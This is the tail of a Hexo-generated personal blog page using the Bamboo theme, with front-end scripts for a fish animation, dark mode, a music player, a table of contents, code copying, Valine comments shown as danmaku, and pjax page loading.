      t.save(), t.translate(this.x, this.y), t.rotate(Math.PI + Math.atan2(this.vy, this.vx)), t.scale(1, this.direction ? 1 : -1), t.beginPath(), t.moveTo(-30, 0), t.bezierCurveTo(-20, 15, 15, 10, 40, 0), t.bezierCurveTo(15, -10, -20, -15, -30, 0), t.fill(), t.save(), t.translate(40, 0), t.scale(.9 + .2 * Math.sin(this.theta), 1), t.beginPath(), t.moveTo(0, 0), t.quadraticCurveTo(5, 10, 20, 8), t.quadraticCurveTo(12, 5, 10, 0), t.quadraticCurveTo(12, -5, 20, -8), t.quadraticCurveTo(5, -10, 0, 0), t.fill(), t.restore(), t.save(), t.translate(-3, 0), t.rotate((Math.PI / 3 + Math.PI / 10 * Math.sin(this.phi)) * (this.renderer.reverse ? -1 : 1)), t.beginPath(), this.renderer.reverse ? (t.moveTo(5, 0), t.bezierCurveTo(10, 10, 10, 30, 0, 40), t.bezierCurveTo(-12, 25, -8, 10, 0, 0)) : (t.moveTo(-5, 0), t.bezierCurveTo(-10, -10, -10, -30, 0, -40), t.bezierCurveTo(12, -25, 8, -10, 0, 0)), t.closePath(), t.fill(), t.restore(), t.restore(), this.controlStatus(t)
    }
  }, $(function () {
    RENDERER.init()
    $('.dark').click(function () {
      setTimeout(() => {
        RENDERER.setFishColor();
        RENDERER.context.fill();
      });
    })
  });
</script>
  <div class="footer bg-color">
    <div class="footer-main">
      
        
          <div class="link">
            
              
                <a href="mailto:2985409357@qq.com" class="social">
                  
                    <i class="fa fa-envelope" aria-hidden="true"></i>
                  
                </a>
              
            
              
                <a target="_blank" rel="noopener" href="https://github.com/yangyang-linux" class="social">
                  
                    <i class="fab fa-github" aria-hidden="true"></i>
                  
                </a>
              
            
              
                <a href="tencent://AddContact/?fromId=50&amp;fromSubId=1&amp;subcmd=all&amp;uin=2985409357" class="social">
                  
                    <i class="fab fa-qq" aria-hidden="true"></i>
                  
                </a>
              
            
          </div>
        
      
        
          <div class="footer-copyright">
            <p>Copyright © 2019 - <span id="display_copyright_time"></span> <a target="_blank" rel="noopener" href="https://gitee.com/yangyang-linux">yangyang-linux</a> | Powered by <a target="_blank" rel="noopener" href="https://hexo.io/zh-cn/docs/">Hexo</a> | Theme <a target="_blank" rel="noopener" href="https://github.com/yuang01/theme">Bamboo</a></p>

          </div>
        
      
        
          
            <!-- 不蒜子统计 -->
            <!-- 不蒜子统计 -->
<span id="busuanzi_container_site_pv">
      <i class="fas fa-eye" aria-hidden="true"></i>本站总访问量：<span id="busuanzi_value_site_pv"></span> 次
</span>
<span class="post-meta-divider">|</span>
<span id="busuanzi_container_site_uv" style='display:none'>
      <i class="fas fa-users" aria-hidden="true"></i>本站访客数：<span id="busuanzi_value_site_uv"></span> 人
</span>

          
        
      
        
          <div class="footer-custom">
            
              <div><p><span>本博客已萌萌哒地运行</span><span id="display_live_time"></span></p>
</div>
            
          </div>
        
      
		</br>
		</br>
		</br>
    </div>
  </div>



    <!-- 渲染暗黑按钮 -->
    
      <div class="dark">
  <div class="dark-content">
    <i class="fas fa-moon" aria-hidden="true"></i>
    <!-- <span>关灯</span> -->
  </div>
  
</div>

<script>
  $(function() {
    let isDark = JSON.parse(localStorage.getItem('dark'))  || JSON.parse('false');
    if (isDark) {
      $(".dark-content").replaceWith(
          `
          <div class='dark-content'>
            <i class="fas fa-lightbulb" aria-hidden="true"></i>
          </div>
          `
        );
    }
    $('.dark').click(function() {
      if ($(document.body).is('.darkModel')) {
        $(document.body).removeClass('darkModel');
        localStorage.setItem('dark', false);
        $(".dark-content").replaceWith(
          `
          <div class='dark-content'>
            <i class="fas fa-moon" aria-hidden="true"></i>
          </div>
          `
        );
      } else {
        $(document.body).addClass('darkModel');
        localStorage.setItem('dark', true);
        $(".dark-content").replaceWith(
          `
          <div class='dark-content'>
            <i class="fas fa-lightbulb" aria-hidden="true"></i>
          </div>
          `
        );
      }
    })
  })
</script>
    
    <!-- 渲染回到顶部按钮 -->
    
      <div class="goTop top-btn-color" pointer>
  <i class="fas fa-arrow-up" aria-hidden="true"></i>
</div>
<script src="/js/goTop.js"></script>

    
    <!-- 渲染左下角音乐播放器 -->
    
      <link rel="stylesheet" href="/js/aplayer/APlayer@1.10.1.min.css">
<style>
.aplayer .aplayer-lrc p {
  
  font-size: 12px;
  font-weight: 700;
  line-height: 16px !important;
}

.aplayer .aplayer-lrc p.aplayer-lrc-current {
  
  font-size: 15px;
  color: #C90041;
}


.aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
  left: -66px !important;
}

.aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
  left: 0px !important;
}


</style>
<meting-js  
  class=""
  server="netease"
  type="playlist"
  id="5300120281"
  fixed='true'
  autoplay='true'
  theme='#C90041'
  loop='all'
  order='random'
  preload='auto'
  volume='0.4'
  list-folded='true'
>
</meting-js>

<!-- <style>
  #aplayer {
    position: fixed;
    left: 0;
    bottom: 300px;
  }
</style> -->
<script src="https://unpkg.com/aplayer@1.10.1/dist/APlayer.min.js"></script>
<script src="https://unpkg.com/meting@2/dist/Meting.min.js"></script>
    

    <!-- 图片放大 -->
    
      <script src="/js/fancybox/jquery.fancybox.min.js"></script>
    

    <!-- 百度解析 -->
    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    <!-- 背景彩带 -->
    
      <script type="text/javascript" size="100" alpha='0.4' zIndex="-1" src="/js/ribbon.min.js"></script>
    

    <script src="/js/utils/index.js"></script>
    <script src="/js/app.js"></script>
    
    <!-- 文章目录所需js -->
<link href="/js/tocbot/tocbot.css" rel="stylesheet">
<script src="/js/tocbot/tocbot.min.js"></script>

<script>
  var headerEl = 'h1, h2, h3, h4, h5, h6',  //headers 
    content = '.post-detail',//文章容器
    idArr = {};  //标题数组以确定是否增加索引id
  //add #id
  var option = {
    // Where to render the table of contents.
    tocSelector: '.toc',
    // Where to grab the headings to build the table of contents.
    contentSelector: content,
    // Which headings to grab inside of the contentSelector element.
    headingSelector: headerEl,
    scrollSmooth: true,
    scrollSmoothOffset: -80,
    headingsOffset: -($(window).height() * 0.4 - 45),
    positionFixedSelector: '.toc-main',
    positionFixedClass: 'is-position-fixed',
    fixedSidebarOffset: 'auto',
    activeLinkClass: 'is-active-link',
    // onClick: function (e) {},
  }
  if ($('.toc').length > 0) {

    $(content).children(headerEl).each(function () {
      //去除空格以及多余标点
      var headerId = $(this).text().replace(/[\s|\~|`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\||\|\[|\]|\{|\}|\;|\:|\"|\'|\,|\<|\.|\>|\/|\?|\：|\，|\。]/g, '');

      headerId = headerId.toLowerCase();
      if (idArr[headerId]) {
        //id已经存在
        $(this).attr('id', headerId + '-' + idArr[headerId]);
        idArr[headerId]++;
      }
      else {
        //id未存在
        idArr[headerId] = 1;
        $(this).attr('id', headerId);
      }
    });

    document.addEventListener("DOMContentLoaded", function () {
      tocbot.init(option);
      mobileTocClick();
    });

  }

  window.tocScrollFn = function () {
    return bamboo.throttle(function () {
      findHeadPosition();
    }, 100)()
  }
  window.addEventListener('scroll', tocScrollFn);

  const findHeadPosition = function (top) {
    if ($('.toc-list').length <= 0) {
      return false;
    }
    setTimeout(() => {  // or DOMContentLoaded 
      autoScrollToc();
    }, 0);
  }

  const autoScrollToc = function () {
    const $activeItem = document.querySelector('.is-active-link');
    const $cardToc = document.querySelector('.toc-content');
    const activePosition = $activeItem.getBoundingClientRect().top
    const sidebarScrollTop = $cardToc.scrollTop
    if (activePosition > (document.documentElement.clientHeight - 100)) {
      $cardToc.scrollTop = sidebarScrollTop + 150
    }
    if (activePosition < 100) {
      $cardToc.scrollTop = sidebarScrollTop - 150
    }
  }

  document.addEventListener('pjax:send', function () {
    if ($('.toc').length) {
      tocbot.destroy();
    }
  });

  document.addEventListener('pjax:complete', function () {
    if ($('.toc').length) {
      tocbot.init(option);
      mobileTocClick();
    }
  });
  
  // 手机端toc按钮点击出现目录
  const mobileTocClick = function () {
    const $cardTocLayout = document.getElementsByClassName('toc-aside')[0];
    const $cardToc = $cardTocLayout.getElementsByClassName('toc-content')[0];
    let right = '45px';
    if (window.innerWidth >= 551 && window.innerWidth <= 992) {
      right = '100px'
    }
    const mobileToc = {
      open: () => {
        $cardTocLayout.style.cssText = 'animation: toc-open .3s; opacity: 1; right: ' + right
      },

      close: () => {
        $cardTocLayout.style.animation = 'toc-close .2s'
        setTimeout(() => {
          $cardTocLayout.style.cssText = "opacity:''; animation: ''; right: ''"
        }, 100)
      }
    }
    document.getElementById('toc-mobile-btn').addEventListener('click', () => {
      if (window.getComputedStyle($cardTocLayout).getPropertyValue('opacity') === '0') mobileToc.open()
      else mobileToc.close()
    })

    $cardToc.addEventListener('click', (e) => {
      if (window.innerWidth < 992) { // 小于992px的时候
        mobileToc.close()
      }
    })
  }
</script>

<style>
  .is-position-fixed {
    position: sticky !important;
    top: 74px;
  }

  .toc-main ul {
    counter-reset: show-list;
  }

  .toc-main ul li::before {
    content: counter(item)".";
    display: block;
    position: absolute;
    left: 12px;
    top: 0;
  }
</style> 

<!-- 设置导航背景 -->
<script>
  let setHeaderClass = () => {
    const headerMenuTransparent = true;
    if (!headerMenuTransparent) { return; }
    const nav = $('#navHeader');
    const navTop = nav.outerHeight();
    const winTop = $(window).scrollTop();
    if(winTop > navTop) {
      nav.addClass('header-bg-color');
    }
    else {
      nav.removeClass('header-bg-color');
    }
  };

  let scrollCollect = () => {
    return bamboo.throttle(function (e) {
      setHeaderClass();
    }, 200)()
  }

  let initHeaderBg = () => {
    setHeaderClass();
  }

  setHeaderClass();
  window.addEventListener('scroll', scrollCollect);

  document.addEventListener('pjax:send', function () {
    window.removeEventListener('scroll', scrollCollect)
  })
  document.addEventListener('pjax:complete', function () {
    window.addEventListener('scroll', scrollCollect);
    setHeaderClass();
  })
</script> 

<!-- 渲染issues标签里的内容 -->
<script>
  function loadIssuesJS() {
    if ($(".post-detail").find(".issues-api").length == 0) {
      return;
    } 
    loadScript('/js/issues/index.js');
  };
  $(function () {
    loadIssuesJS();
  });
  document.addEventListener('pjax:complete', function () {
    if (typeof IssuesAPI == "undefined") {
      loadIssuesJS();
    }
  })
</script>

<!-- 输入框打字特效 -->
<!-- 输入框打字特效 -->

  <script src="/js/activate-power-mode.js"></script>
  <script>
    POWERMODE.colorful = true;  // 打开随机颜色特效
    POWERMODE.shake = false;    // 关闭输入框抖动
    document.body.addEventListener('input', POWERMODE);//监听打字事件
  </script>


<!-- markdown代码一键复制功能 -->

  <link rel="stylesheet" href="https://unpkg.com/v-plugs-ayu/lib/ayu.css">
  <script src="https://unpkg.com/v-plugs-ayu/lib/ayu.umd.min.js"></script>
  <script src="/js/clipboard/clipboard.min.js"></script>
  <div id="appCopy">
  </div>
  <script data-pjax>
    var vm = new Vue({
      el: '#appCopy',
      data: {
      },
      computed: {
      },
      mounted() {
        const that = this;
        var copy = '复制';
        /* code */
        var initCopyCode = function () {
          var copyHtml = '';
          copyHtml += '<button class="btn-copy" data-clipboard-snippet="" style="position:absolute;top:0;right:0;z-index:1;">';
          copyHtml += '<i class="fas fa-copy"></i><span>' + copy + '</span>';
          copyHtml += '</button>';
          $(".post-detail pre").not('.gutter pre').wrap("<div class='codeBox' style='position:relative;width:100%;'></div>")
          $(".post-detail pre").not('.gutter pre').before(copyHtml);
          new ClipboardJS('.btn-copy', {
            target: function (trigger) {
              return trigger.nextElementSibling;
            }
          });
        }
        initCopyCode();
        $('.btn-copy').unbind('click').bind('click', function () {
          doSomething();
        })
        $(document).unbind('keypress').bind('keypress', function (e) {
          if (e.ctrlKey && e.keyCode == 67) {
            doSomething();
          }
        })

        function doSomething() {
          that.$notify({
            title: "成功",
            content: "代码已复制，请遵守相关授权协议。",
            type: 'success'
          })
        }
      },
      methods: {
      },
      created() { }
    })
  </script>
  

<!-- 图片懒加载 -->
<script defer src="https://unpkg.com/vanilla-lazyload@17.1.0/dist/lazyload.min.js"></script>
<script>
  // https://www.npmjs.com/package/vanilla-lazyload
  // Set the options globally
  // to make LazyLoad self-initialize
  window.lazyLoadOptions = {
    elements_selector: ".lazyload",
    threshold: 0
  };
  // Listen to the initialization event
  // and get the instance of LazyLoad
  window.addEventListener(
    "LazyLoad::Initialized",
    function (event) {
      window.lazyLoadInstance = event.detail.instance;
    },
    false
  );
  document.addEventListener('DOMContentLoaded', function () {
    lazyLoadInstance.update();
  });
  document.addEventListener('pjax:complete', function () {
    lazyLoadInstance.update();
  });
</script>


<!-- 卡片滚动动画 -->

    <script type="text/javascript">
  loadScript("https://unpkg.com/scrollreveal@4.0.6/dist/scrollreveal.min.js")
  function pjax_scrollrebeal() {
    ScrollReveal().reveal('.reveal', {
      distance: '120px',
      duration: '400',
      interval: '30',
      scale: '1',
      origin: 'bottom', // 动画开始的方向
      easing: 'ease'
    });
  }
  $(function () {
    var checkScrollReveal = setInterval(function () {
      if ($("#safearea").css("display") != "block") return
      if (typeof ScrollReveal == "undefined") return
      clearInterval(checkScrollReveal)
      pjax_scrollrebeal();
    }, 100)
  });
  document.addEventListener('pjax:complete', function () {
    pjax_scrollrebeal();
  })
</script>
   

<!-- 评论所需js -->

  
    <!-- 弹幕所需的css和js -->
    
  <!-- 弹幕插件 -->
  <link href="/js/danmu/barrager.css" rel="stylesheet">
  <script src="/js/danmu/jquery.barrager.js"></script>

<!-- 具体js，请前往valine/script.ejs查看 -->

    <script>
  var requiredFields = 'nick';
  requiredFields = requiredFields.split(',');
  comment_el = '.comment';
  let looperValine = null;
  load_valine = function () {
    if ($(comment_el).length) {
      var valine = new Valine({
        el: '#vcomment',
        path: window.location.pathname,
        notify: false,
        verify: false,
        app_id: "HvvYcruryPsiW2egxIpRnlKV-gzGzoHsz",
        app_key: "MLKN1tH2RNDMR4e3O9PJgAh5",
        placeholder: "客官，说点什么吧（如果想让我及时收到的话可以连续发送两遍，会触发邮件提醒机制）",
        avatar: "wavatar",
        master: "3d28ff93d17df2e86f7971eda5159791",   //博主邮箱md5
        tagMeta: ["博主","小伙伴","访客"],     //标识字段名
        friends: "8b42635701290c05327f3faba356ce6e",
        metaPlaceholder: { "nick": "昵称/QQ号", "mail": "邮箱" },
        requiredFields: requiredFields,
        enableQQ: true,
      });
      function debounce(fn) {
        var timerID = null
        return function () {
          var arg = arguments[0]   //获取事件
          if (timerID) {
            clearTimeout(timerID)
          }
          timerID = setTimeout(function () {
            fn(arg)              //事件传入函数
          }, 200)
        }
      }
      //查询评论 valine.Q('*').limit(7) -- 查询所有，限制7条, 下面的的代码是查询当前页面
      var themeDanmu = eval('true');
      var themeLoop = eval('false');
      var themeLooperTime = '5000' || 5000;
      var speed = '20' || 20;
      var isBarrager = true;
      if (themeDanmu == true) {
        do_barrager();
        if ($('.danmuBox').length <= 0) {
          $('.navbar').append('<div class="danmuBox"><div class="danmuBtn open"><span class="danmuCircle"></span><span class="danmuText">弹幕</span></div></div>');
        }
        $('.danmuBtn').on('click', debounce(
          function () {
            if ($('.danmuBtn').hasClass('open')) {
              $('.danmuBtn').removeClass('open')
              clearInterval(looperValine);
              $.fn.barrager.removeAll();
            } else {
              $('.danmuBtn').addClass("open");
              do_barrager();
            }
          }
        ))
      }
      function do_barrager() {
        isBarrager && valine.Q(window.location.pathname).find().then(function (comments) {
          // var num = 0; // 可以记录条数，循环调用的时候只取最新的评论放入弹幕中
          var run_once = true;
          var looper_time = themeLooperTime;
          var total = comments.length;
          // var looper = null;
          var index = 0;
          if (total > 0) {
            barrager();
          } else {
            // 当评论数为0的时候，自动关闭弹幕
            // $('.danmuBtn').removeClass('open');
          }
          function barrager() {
            if (run_once) {
              //如果是首次执行,则设置一个定时器,并且把首次执行置为false
              looperValine = setInterval(barrager, looper_time);
              run_once = false;
            }
            var content = comments[index]._serverData.comment;
            var email = comments[index]._serverData.mail;
            var link = comments[index]._serverData.link;
            var newcontent = content.substring(0, 50).replace(/<[^>]+>/g, "");
            //发布一个弹幕
            const item = {
              img: `https://q1.qlogo.cn/g?b=qq&nk=${email}&s=640`, //图片 
              info: newcontent, //文字 
              href: link, //链接 
              close: true, //显示关闭按钮 
              speed: speed, //延迟,单位秒,默认6 
              color: '#fff', //颜色,默认白色 
              old_ie_color: '#000000', //ie低版兼容色,不能与网页背景相同,默认黑色
            }
            $('body').barrager(item);
            //索引自增
            index++;
            //所有弹幕发布完毕，清除计时器。
            if (index == total) {
              clearInterval(looperValine);
              if (themeLoop === true) {
                setTimeout(function () {
                  do_barrager();
                }, 5000);
              } else {
                $('.danmuBtn').removeClass('open');
              }
              return false;
            }

          }
        })
      }
    }
  };
  $(document).ready(load_valine);
  document.addEventListener('pjax:send', function (e) {
    
      $('.danmuBox').length > 0 && $('.danmuBox').remove()
      looperValine && clearInterval(looperValine);
      $.fn.barrager.removeAll();
    
  })
  document.addEventListener('pjax:complete', function () {
    load_valine();
  });
</script>

  


<!-- 鼠标点击特效 -->
<!-- 爱心点击 -->

  
    <script src="/js/cursor/fireworks.js"></script>
  




  <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" data-pjax></script>


    <!-- pjax -->
    

<!-- pjax -->


  <script src="/js/pjax@0.2.8/index.js"></script>
  
    <!-- 样式位于：source/css/_third-party/pjaxanimate.styl -->

<div class="pjax-animate">
  
    <div class="loading-circle"><div id="loader-circle"></div></div>
    <script>
      window.ShowLoading = function() {
        $(".loading-circle").css("display", "block");
      };
      window.HideLoading = function() {
        $(".loading-circle").css("display", "none");
      }
    </script>
  
	<script>
    document.addEventListener('pjax:complete', function () {
      window.HideLoading();
    })
    document.addEventListener('pjax:send', function () {
      window.ShowLoading();
    })
    document.addEventListener('pjax:error', function () {
      window.HideLoading();
    })
	</script>
</div>

  

  <script>
    var pjax = new Pjax({
      elements: 'a[href]:not([href^="#"]):not([href="javascript:void(0)"]):not([no-pjax])',   // 拦截正常带链接的 a 标签
      selectors: ["#pjax-container","title"],                                   // 根据实际需要确认重载区域
      cacheBust: false,   // url 地址追加时间戳，用以避免浏览器缓存
      timeout: 5000
    });

    document.addEventListener('pjax:send', function (e) {

      try {
        var currentUrl = window.location.pathname;
        var targetUrl = e.triggerElement.href;
        var banUrl = [""];
        if (banUrl[0] != "") {
          banUrl.forEach(item => {
            if(currentUrl.indexOf(item) != -1 || targetUrl.indexOf(item) != -1) {
              window.location.href = targetUrl;
            }
          });
        }
      } catch (error) {}

      $(window).unbind('resize');
      $(window).unbind('scroll');
      $(document).unbind('scroll');
      $(document).unbind('click');
      $('body').unbind('click');

    })
    
    document.addEventListener('pjax:complete', function () {
      $('script[data-pjax], .pjax-reload script').each(function () {
        $(this).parent().append($(this).remove());
      });
    });

    document.addEventListener('pjax:error', function (e) {
      window.location.href = e.triggerElement.href;
    })
    
    // 刷新不从顶部开始
    document.addEventListener("DOMContentLoaded", function () {
      history.scrollRestoration = 'auto';
    })
  </script>



  </body>
</html>